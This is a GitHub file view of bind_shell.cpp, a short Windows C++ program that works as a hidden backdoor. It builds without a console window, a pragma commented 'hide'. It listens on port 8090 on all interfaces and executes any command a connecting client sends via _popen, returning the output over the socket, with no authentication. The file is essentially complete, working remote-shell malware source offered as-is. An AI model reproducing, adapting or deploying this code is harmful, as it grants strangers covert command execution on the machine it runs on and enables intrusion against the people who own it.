-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbind_shell.cpp
More file actions
92 lines (73 loc) · 1.72 KB
/
bind_shell.cpp
File metadata and controls
92 lines (73 loc) · 1.72 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
// bind_shell.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <Winsock2.h>
#include <stdio.h>
#include <windows.h>
#pragma comment(lib,"WS2_32.lib")
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"") //hide
typedef struct MyData
{
SOCKET sock;
}MYDATA;
DWORD WINAPI Fun(LPVOID lpParamter)
{
MYDATA *data = (MYDATA*)lpParamter;
char sendBuf[50];
sprintf(sendBuf,"Welcome !\n");
send(data->sock,sendBuf,strlen(sendBuf),0);
char recvBuf[1024];
int n = 0;
int n2 = 0;
while((n = recv(data->sock,recvBuf,1024,0)) != -1){
recvBuf[n] = '\0';//////////
printf("%s\n",recvBuf);
////
FILE* pipe = _popen(recvBuf, "r");
if (!pipe)
return 0;
while(!feof(pipe)) {
if(fgets(recvBuf, 1024, pipe)){
n2 = strlen(recvBuf);
send(data->sock,recvBuf,n2,0);
}
}
_pclose(pipe);
////
}
closesocket(data->sock);
return 0;
}
int main(void)
{
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD( 1, 1 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
return 0;
}
if ( LOBYTE( wsaData.wVersion ) != 1 ||
HIBYTE( wsaData.wVersion ) != 1 ) {
WSACleanup( );
return 0;
}
SOCKET sockSrv=socket(AF_INET,SOCK_STREAM,0);
SOCKADDR_IN addrSrv;
addrSrv.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
addrSrv.sin_family=AF_INET;
addrSrv.sin_port=htons(8090);
bind(sockSrv,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR));
listen(sockSrv,5);
SOCKADDR_IN addrClient;
int len=sizeof(SOCKADDR);
while(1)
{
SOCKET sockConn=accept(sockSrv,(SOCKADDR*)&addrClient,&len);
MYDATA mydata;
mydata.sock = sockConn;
HANDLE hThread = CreateThread(NULL, 0, Fun, &mydata, 0, NULL);
CloseHandle(hThread);
}
}